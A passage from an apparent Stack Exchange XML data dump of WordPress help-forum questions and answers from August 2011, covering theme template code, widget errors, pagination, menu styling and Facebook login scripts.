/&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6337" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-09T10:13:27.273" LastActivityDate="2011-08-09T10:16:42.510" Title="Changing image on different pages" Tags="&lt;image&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25395" PostTypeId="2" ParentId="25390" CreationDate="2011-08-09T10:11:56.290" Score="2" ViewCount="" Body="&lt;p&gt;There is extensive question/answers for moving from development to produciton in general &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for your specific question best plugin that I know is commercial &lt;a href=&quot;http://pluginbuddy.com/purchase/backupbuddy/&quot; rel=&quot;nofollow&quot;&gt;BackupBuddy&lt;/a&gt;. It packs whole site (including WP itself) and can restore it to different URL.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-09T10:11:56.290" />
  <row Id="25396" PostTypeId="2" ParentId="25394" CreationDate="2011-08-09T10:16:42.510" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;conditional tags&lt;/a&gt; to control output that depends on context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_home() ) {&#xA;&#xA;// when on home page&#xA;}&#xA;else {&#xA;&#xA;//when elsewhere&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-09T10:16:42.510" CommentCount="2" />
  <row Id="25397" PostTypeId="2" ParentId="25393" CreationDate="2011-08-09T10:18:30.407" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;category-list&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;topnav&quot;&amp;gt; &#xA;        &amp;lt;?php&#xA;        if (is_single()){&#xA;            global $post;&#xA;            $pid = $post-&amp;gt;ID;&#xA;            $post_categories = wp_get_post_categories( $post-&amp;gt;ID );&#xA;            $cats = array();&#xA;            foreach($post_categories as $c){&#xA;                $cat = get_category( $c );&#xA;                $cats[] = $cat-&amp;gt;ID;&#xA;            }&#xA;            $active_cat_count = true;&#xA;            $cat_count = 0;&#xA;        }&#xA;&#xA;        $kategorien = get_categories(array(&#xA;        'child_of' =&amp;gt; 0,&#xA;        'exclude_tree' =&amp;gt; 15,&#xA;        'exclude' =&amp;gt; 16,&#xA;        'orderby' =&amp;gt; 'slug',&#xA;        'order' =&amp;gt; 'ASC')); &#xA;            foreach($kategorien as $kategorie) { &#xA;            if (isset($active_cat_count) &amp;amp;&amp;amp; $active_cat_count){&#xA;                if (in_array($kategorie-&amp;gt;ID,$cats){&#xA;                    $active_cat_count = false;&#xA;                }else{&#xA;                    $cat_count = $cat_count + 1;&#xA;                }&#xA;            }&#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;category-title&quot;&amp;gt;'; echo ($kategorie-&amp;gt;name); echo '&amp;lt;/a&amp;gt;';&#xA;                echo '&amp;lt;ul&amp;gt;';&#xA;                    $cat = $kategorie-&amp;gt;cat_ID;&#xA;                    $posts = get_posts('category='. $cat .'&amp;amp;posts_per_page=-1');&#xA;                        foreach($posts as $post) { ?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;a &amp;lt;?php if ($post-&amp;gt;ID == $pid){echo 'class=&quot;current&quot;';} ?&amp;gt; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                    &amp;lt;? }&#xA;                echo '&amp;lt;/ul&amp;gt;';&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;            } &#xA;        ?&amp;gt;                  &#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;if (is_single()){&#xA;?&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;    $( &quot;.topnav&quot; ).accordion( &quot;option&quot;, &quot;active&quot;, &amp;lt;?php echo $cat_count; ?&amp;gt; );&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-09T10:18:30.407" CommentCount="13" />
  <row Id="25398" PostTypeId="1" AcceptedAnswerId="25402" CreationDate="2011-08-09T10:20:58.613" Score="0" ViewCount="15" Body="&lt;p&gt;I'm running a multisite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to display &quot;Terms and conditions&quot; when user trying to create a new post. &#xA;Users should Click &quot;I agree&quot; link and then proceed to create a new post(wp-admin/post-new.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any good plugin available for this? Or can anyone give me some snippets? Looking forward to it. Thanks &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-09T10:39:33.080" Title="How to display terms and conditions in post area?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;wp-admin&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="25399" PostTypeId="2" ParentId="25390" CreationDate="2011-08-09T10:24:04.470" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/duplicator/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/duplicator/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried duplicator and it worked out great. A 25min process condensed down into 5mins, really simple to use and has now worked several times for several sites, great plugin!!&lt;/p&gt;&#xA;" OwnerUserId="4588" LastEditorUserId="4588" LastEditorDisplayName="" LastEditDate="2011-08-09T15:34:49.240" LastActivityDate="2011-08-09T15:34:49.240" />
  <row Id="25400" PostTypeId="2" ParentId="17168" CreationDate="2011-08-09T10:25:09.660" Score="2" ViewCount="" Body="&lt;p&gt;I'd suggest to use &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin, see plugins page and &lt;a href=&quot;https://github.com/scribu/wp-posts-to-posts/wiki&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt; for more information&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-09T10:25:09.660" />
  <row Id="25401" PostTypeId="2" ParentId="25314" CreationDate="2011-08-09T10:35:51.003" Score="2" ViewCount="" Body="&lt;p&gt;Ok firstly, create a php file inside your theme's folder and give it a name that won't clash with any of the native theme template files, archive.php, index.php etc... (give it a unique name, something like &lt;strong&gt;page-list-by-month.php&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following code to that file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Pages by Month&#xA; */&#xA;get_header(); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!-- Your opening outer HTML --&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;$args = array( &#xA;    'post_type' =&amp;gt; 'page', &#xA;    'orderby' =&amp;gt; 'date', &#xA;    'order' =&amp;gt; 'asc', &#xA;    'nopaging' =&amp;gt; 1, &#xA;    'post_parent' =&amp;gt; 146 // &amp;lt;--- Adjust this to the appropriate parent&#xA;);&#xA;$data = array();&#xA;&#xA;query_posts( $args ); &#xA;&#xA;if( have_posts() ) :&#xA;    while( have_posts() ) : the_post();&#xA;&#xA;        $date = explode( '%', get_the_date( 'Y%m' ) );&#xA;        $year = $date[0];&#xA;        $month = $date[1];&#xA;        $data[$year][$month][] = get_the_ID();&#xA;&#xA;    endwhile;&#xA;endif;&#xA;&#xA;// testing&#xA;// print '&amp;lt;pre&amp;gt;';print_r( $data );print '&amp;lt;/pre&amp;gt;';&#xA;&#xA;foreach( $data as $year =&amp;gt; $months ) {&#xA;    foreach( $months as $month =&amp;gt; $page_ids ) {&#xA;        echo date( 'F', mktime( 0, 0, 0, $month ) ) . ' 2011&amp;lt;br /&amp;gt;';&#xA;        foreach( $page_ids as $page_id )&#xA;            echo '&amp;lt;a href=&quot;' . apply_filters( 'the_permalink', get_permalink( $page_id ) ) . '&quot;&amp;gt;' . apply_filters( 'the_title', get_the_title( $page_id ) ) . '&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!-- Your closing outer HTML --&amp;gt;&#xA;&#xA;&amp;lt;?php //get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now create a page and select the Pages by Month template in the Page Attributes metabox, what you enter for the content and title doesn't matter, though the title you give this page will determine the URL, so consider where you want this special page to appear and use a title appropriate for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example title -&gt; My Page Archive = &lt;a href=&quot;http://example.com/my-page-archive&quot; rel=&quot;nofollow&quot;&gt;http://example.com/my-page-archive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the page is created and the template has been attached, that's it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Be sure to adjust the &lt;code&gt;post_parent&lt;/code&gt; value in the args array and additionally be sure to add appropriate HTML where indicated(the markup will differ depending on theme so i left it out the sample).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :) (oh and Mark would be me - when i'm not at my regular PC)..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-09T10:35:51.003" />
  <row Id="25402" PostTypeId="2" ParentId="25398" CreationDate="2011-08-09T10:39:33.080" Score="2" ViewCount="" Body="&lt;p&gt;Yes there is: &lt;a href=&quot;http://wordpress.org/extend/plugins/terms-of-use-2/&quot; rel=&quot;nofollow&quot;&gt;Terms Of Use plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also able to add the checkbox to signup pages, works with &lt;a href=&quot;http://wordpress.org/extend/plugins/formidable/&quot; rel=&quot;nofollow&quot;&gt;Formidable forms plugin&lt;/a&gt; and enables you to add the checkbox before viewing a (front- or backend) page.&lt;/p&gt;&#xA;" OwnerUserId="1763" LastActivityDate="2011-08-09T10:39:33.080" CommentCount="2" />
  <row Id="25403" PostTypeId="1" CreationDate="2011-08-09T10:53:36.657" Score="-2" ViewCount="35" Body="&lt;p&gt;I have this script added to a facebook icon (#id) on my front page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function() {&#xA;  var e = document.createElement('script');&#xA;  e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';&#xA;  e.async = true;&#xA;  document.getElementById('fb-root').appendChild(e);&#xA;})();&#xA;window.fbAsyncInit = function() {&#xA;    var fbClicked = false;&#xA;    FB.init({appId: 'Myappid', status: true, cookie: true, xfbml: true});&#xA;&#xA;    FB.Event.subscribe('auth.login', function(response) {&#xA;        if(response.session &amp;amp;&amp;amp; fbClicked){&#xA;            window.location = 'http://www.mysite.com/facebookauth/?ref=/';&#xA;        }&#xA;    });&#xA;}&#xA;function thFBShortCut() {&#xA;    FB.login(function(response) {&#xA;        fbClicked = true;&#xA;        if (response.session &amp;amp;&amp;amp; response.perms &amp;amp;&amp;amp; fbClicked) {&#xA;            window.location = 'http://www.mysite.com/facebookauth/?ref=/';&#xA;        }&#xA;    }, {perms:'email,publish_stream'});&#xA;}&#xA;function thFBLogin() {&#xA;    fbClicked = true;&#xA;    $('.popbox').fadeOut(); &#xA;    FB.getLoginStatus(function(response) {&#xA;        if(response.session &amp;amp;&amp;amp; response.status == 'connected' &amp;amp;&amp;amp; fbClicked) {&#xA;            window.location = 'http://www.mysite.com/facebookauth/?ref=/';&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added &lt;code&gt;&amp;lt;div id=&quot;fb-root&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; right after &lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt;, but when I load my site I keep getting these error messages: document.getElementById(&quot;fb-root&quot;) is null and FB is not defined [Break On This Error] FB.login(function(response) { &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;facebookicon&quot; onclick=&quot;thFBShortCut()&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-08-09T10:53:36.657" ClosedDate="2011-08-09T17:26:24.110" Title="Javascript problem with facebook connect code" Tags="&lt;facebook&gt;" CommentCount="2" />
  <row Id="25404" PostTypeId="2" ParentId="25390" CreationDate="2011-08-09T11:03:37.527" Score="2" ViewCount="" Body="&lt;p&gt;In this years Google Summer Of Code at WordPress, there is a project called &lt;a href=&quot;http://gsoc2011.wordpress.com/wordpress-move/&quot; rel=&quot;nofollow&quot;&gt;WordPress Move&lt;/a&gt;. The WordPress team is working with the student on developing this new function (now as a plugin, maybe someday in core code). It appears to work already, but it is still in development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the &lt;a href=&quot;http://gsoc2011.wordpress.com/tag/wordpress-move/&quot; rel=&quot;nofollow&quot;&gt;posts tagged with 'wordpress move'&lt;/a&gt; on the WordPress GSoC 2011 blog, for more info on this project.&lt;/p&gt;&#xA;" OwnerUserId="1763" LastActivityDate="2011-08-09T11:03:37.527" />
  <row Id="25405" PostTypeId="1" CreationDate="2011-08-09T11:11:50.167" Score="0" ViewCount="33" Body="&lt;p&gt;I know there have been many question like this and I've read them, but I still cant get it working... I have this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array('cat'=&amp;gt;3,'posts_per_page'=&amp;gt;5));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I simply display the content below in  &lt;code&gt;while (have_posts()) : the_post();&lt;/code&gt; loop&#xA;How can I add pagination to this?&#xA;I'm trying with adding &lt;code&gt;posts_nav_link();&lt;/code&gt; ( I don't know is it the right function to call what I want) and links displayed take me to &lt;a href=&quot;http://mysite.com/page/2&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/page/2&lt;/a&gt;. Since its my index page its ok to not add category name in link (its news page) but after clicking on the link, when I'm on the page/2/ news simply doesn't change. I still see the first page of my news without change... I think I need to add attribute of 'paged' to my query, but how and where? I've tried &lt;code&gt;'paged'=&amp;gt;'paged'&lt;/code&gt; in array but still nothing&lt;/p&gt;&#xA;" OwnerUserId="7113" LastActivityDate="2011-08-09T13:14:57.010" Title="Pagination for query_posts();" Tags="&lt;categories&gt;&lt;query-posts&gt;&lt;pagination&gt;" AnswerCount="1" />
  <row Id="25406" PostTypeId="2" ParentId="14093" CreationDate="2011-08-09T11:17:32.450" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$bodyclass = &quot;&quot;;&#xA;// are we on a 'single' page? e.g. a post or page or some other custom post type?&#xA;if(is_single()){&#xA;    // is this a post of type 'page'? or is it a blogpost?&#xA;    global $post;&#xA;    if($post-&amp;gt;post_type == 'page'){&#xA;        // good now to check if we have a sidebar with active content&#xA;        if( is_active_sidebar('my-header')){&#xA;            $bodyclass=&quot;wehavesidebarcontentyay&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;body &amp;lt;?php body_class($bodyclass); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though I'm sure if you have body_class on your body tag then you already have the needed css classes and selectors to do this without the PHP code.&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2011-08-09T11:17:32.450" />
  <row Id="25407" PostTypeId="2" ParentId="25382" CreationDate="2011-08-09T11:18:17.803" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/proper-network-activation/&quot; rel=&quot;nofollow&quot;&gt;Proper Network Activation&lt;/a&gt; meta-plugin was written precisely for cases like this.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-09T11:18:17.803" CommentCount="3" />
  <row Id="25408" PostTypeId="1" AcceptedAnswerId="25409" CreationDate="2011-08-09T11:39:31.860" Score="0" ViewCount="34" Body="&lt;p&gt;I'm working on flickr Wp-widget. Here is code to fetch flickr pics.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class imperia_flickr extends WP_Widget {&#xA;&#xA;    function imperia_flickr() {&#xA;        $widget_ops = array('description' =&amp;gt; 'This Flickr widget populates photos from a Flickr ID.' );&#xA;&#xA;        parent::WP_Widget(false, __('imperia - Flickr', 'imperiathemes'),$widget_ops);      &#xA;    }&#xA;&#xA;    function widget($args, $instance) {  &#xA;        extract( $args );&#xA;        $id = $instance['id'];&#xA;        $number = $instance['number'];&#xA;&#xA;        echo $before_widget;&#xA;        echo $before_title; ?&amp;gt;&#xA;        &amp;lt;div class=&quot;flickr-icon&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php _e('Photostream'); ?&amp;gt;&#xA;            &amp;lt;?php echo $after_title; ?&amp;gt;&#xA;            &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            $(document).ready(function() {&#xA;            $('#flickr').jflickrfeed({&#xA;            limit: &amp;lt;?php echo $number; ?&amp;gt;,&#xA;            qstrings: {&#xA;            id: '&amp;lt;?php echo $id; ?&amp;gt;'&#xA;          },&#xA;            itemTemplate: '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{{image_b}}&quot; rel=&quot;prettyPhoto[pp_gal]&quot;&amp;gt;&amp;lt;img class=&quot;flickr&quot; src=&quot;{{image_s}}&quot; alt=&quot;{{title}}&quot; width=&quot;45&quot; height=&quot;45&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;'&#xA;          }, function(data) {&#xA;          $('#flickr a').prettyPhoto();&#xA;          });   &#xA;            }); &#xA;            &amp;lt;/script&amp;gt;        &#xA;            &amp;lt;ul id=&quot;flickr&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;            &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;       &amp;lt;?php            &#xA;       echo $after_widget;&#xA;   }&#xA;&#xA;   function update($new_instance, $old_instance) {                &#xA;       return $new_instance;&#xA;   }&#xA;&#xA;   function form($instance) {        &#xA;    ******  $id = esc_attr($instance['id']);&#xA;    ******  $number = esc_attr($instance['number']);&#xA;        ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('id'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Flickr ID (&amp;lt;a href=&quot;http://www.idgettr.com&quot;&amp;gt;idGettr&amp;lt;/a&amp;gt;):','imperiathemes'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('id'); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $id; ?&amp;gt;&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('id'); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('number'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Number:','imperiathemes'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('number'); ?&amp;gt;&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('number'); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php for ( $i = 1; $i &amp;lt;= 12; $i += 1) { ?&amp;gt;&#xA;                &amp;lt;option value=&quot;&amp;lt;?php echo $i; ?&amp;gt;&quot; &amp;lt;?php if($number == $i){ echo &quot;selected='selected'&quot;;} ?&amp;gt;&amp;gt;&amp;lt;?php echo $i; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;} &#xA;&#xA;register_widget('imperia_flickr');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This widget works fine but gives following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- Debug: Undefined index: id on line 54 of /wp-content/themes/imperia/includes/widgets/widget-imperia-flickr.php&#xA;-- Debug: Undefined index: number on line 55 of /wp-content/themes/imperia/includes/widgets/widget-imperia-flickr.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have marked these lines with &lt;strong&gt;**&lt;/strong&gt; above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I'm going wrong ? What needs to be fixed ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3190" LastActivityDate="2011-08-09T12:01:26.903" Title="Help me out with this Undefined index ?" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="25409" PostTypeId="2" ParentId="25408" CreationDate="2011-08-09T11:51:21.847" Score="1" ViewCount="" Body="&lt;p&gt;You should use isset&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = isset( $instance['id'] ) ? esc_attr( $instance['id'] ) : '';&#xA;$number = isset( $instance['number'] ) ? esc_attr( $instance['number'] ) : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-09T12:01:26.903" LastActivityDate="2011-08-09T12:01:26.903" CommentCount="4" />
  <row Id="25410" PostTypeId="1" CreationDate="2011-08-09T12:07:31.557" Score="0" ViewCount="26" Body="&lt;p&gt;I'm using the standard prev and next link functions for a custom post type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php previous_post_link('%link', &quot;back&quot;); ?&amp;gt;&#xA;&amp;lt;?php next_post_link('%link', &quot;next&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which does create links, but only links to the first and last posts of the post type, skipping all posts in the middle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a custom post type posts programatically...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_island_portraits_type' );  &#xA;function create_island_portraits_type() {  &#xA;    register_post_type( 'island_portrait',  &#xA;            array(  &#xA;                'labels' =&amp;gt; array(  &#xA;                'name' =&amp;gt; __( 'Island Portraits' ),  &#xA;                'singular_name' =&amp;gt; __( 'Island Portrait' )  &#xA;            ),  &#xA;            'public' =&amp;gt; true,  &#xA;        )  &#xA;    ); &#xA;    flush_rewrite_rules( false ); &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I also added a bunch of custom posts programatically too. It's a bit involved so here's a paste bin of how I did that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/0fRRz4Sk&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/0fRRz4Sk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any pointers on what might me causing the problem?&lt;/p&gt;&#xA;" OwnerUserId="7757" LastActivityDate="2011-08-09T12:07:31.557" Title="Why are my Prev &amp; next links only returning the first and last posts" Tags="&lt;custom-post-types&gt;&lt;next-post-link&gt;&lt;previous-post-link&gt;" CommentCount="1" />
  <row Id="25411" PostTypeId="1" CreationDate="2011-08-09T12:38:20.517" Score="0" ViewCount="25" Body="&lt;p&gt;I depend on theme builders like Suffusion for my Multi-Site Installation. Some WP users say the theme frameworks slow downs the performance and load speed. Is that really affects the performance? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A follow up question... is there any chance for performance problem if I enable BuddyPress on same Installation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="391" LastActivityDate="2011-08-09T13:27:07.157" Title="Are the Theme frame works or Theme builders slow downs the performance?" Tags="&lt;themes&gt;&lt;buddypress&gt;&lt;performance&gt;" AnswerCount="1" />
  <row Id="25412" PostTypeId="1" AcceptedAnswerId="25413" CreationDate="2011-08-09T12:42:30.640" Score="0" ViewCount="14" Body="&lt;p&gt;I have a custom menu created using Appearance &gt; Menus which contains top level and child pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to indent my child level pages to give some sort of visual hierarchy to the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to achieve this? &lt;/p&gt;&#xA;" OwnerUserId="1213" LastActivityDate="2011-08-09T12:46:46.517" Title="Styling child custom menu pages" Tags="&lt;custom-menus&gt;&lt;css&gt;" AnswerCount="1" />
  <row Id="25413" PostTypeId="2" ParentId="25412" CreationDate="2011-08-09T12:46:46.517" Score="0" ViewCount="" Body="&lt;p&gt;Some digging around led me to find that all the items were marked up with the class &lt;code&gt;sub-menu&lt;/code&gt; which I was able to style in the CSS.&lt;/p&gt;&#xA;" OwnerUserId="1213" LastActivityDate="2011-08-09T12:46:46.517" />
  <row Id="25414" PostTypeId="1" AcceptedAnswerId="25428" CreationDate="2011-08-09T13:00:45.547" Score="0" ViewCount="26" Body="&lt;p&gt;In a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/25412/styling-child-custom-menu-pages&quot;&gt;previous question&lt;/a&gt; I asked (and later worked out) how to style sub menus, I want to expand on that with another question related to styling sub-menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have hit an issue were if the parent is the selected page all child pages pick up the same styling, I believe this is because the &lt;code&gt;current-menu-item&lt;/code&gt; class gets added to the parent li.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a child element is selected only the child is highlighted (which is correct)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this before? What is the best way to only have the selected page highlighted and not the child elements of that page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As requested, here is the CSS that is being called to highlight the child menu.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.current-page a, .current-menu-item a {&#xA;    background-color: #EE8833;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1213" LastEditorUserId="1213" LastEditorDisplayName="" LastEditDate="2011-08-09T14:11:57.127" LastActivityDate="2011-08-09T14:29:17.790" Title="Styling issue with custom menus and sub menus" Tags="&lt;custom-menus&gt;&lt;css&gt;&lt;stylesheet&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="25415" PostTypeId="2" ParentId="25411" CreationDate="2011-08-09T13:10:49.870" Score="1" ViewCount="" Body="&lt;p&gt;The performance and load speed may be slowed down because of badly coded frameworks, or even well coded frameworks but way too overloaded. so it really depends on what framework or theme builder you are using and each one to its own case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for enabling BuddyPress, first you will need a theme that is made for BuddyPress and as far as i can tell Suffusion is not BuddyPress ready (I could be wrong here). And as for performance problem once again that is theme/theme framework depended.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-09T13:27:07.157" LastActivityDate="2011-08-09T13:27:07.157" CommentCount="4" />
  <row Id="25416" PostTypeId="2" ParentId="25405" CreationDate="2011-08-09T13:14:57.010" Score="0" ViewCount="" Body="&lt;p&gt;try adding :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in your args array add &lt;code&gt;'paged'=&amp;gt; $page&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-09T13:14:57.010" CommentCount="3" />
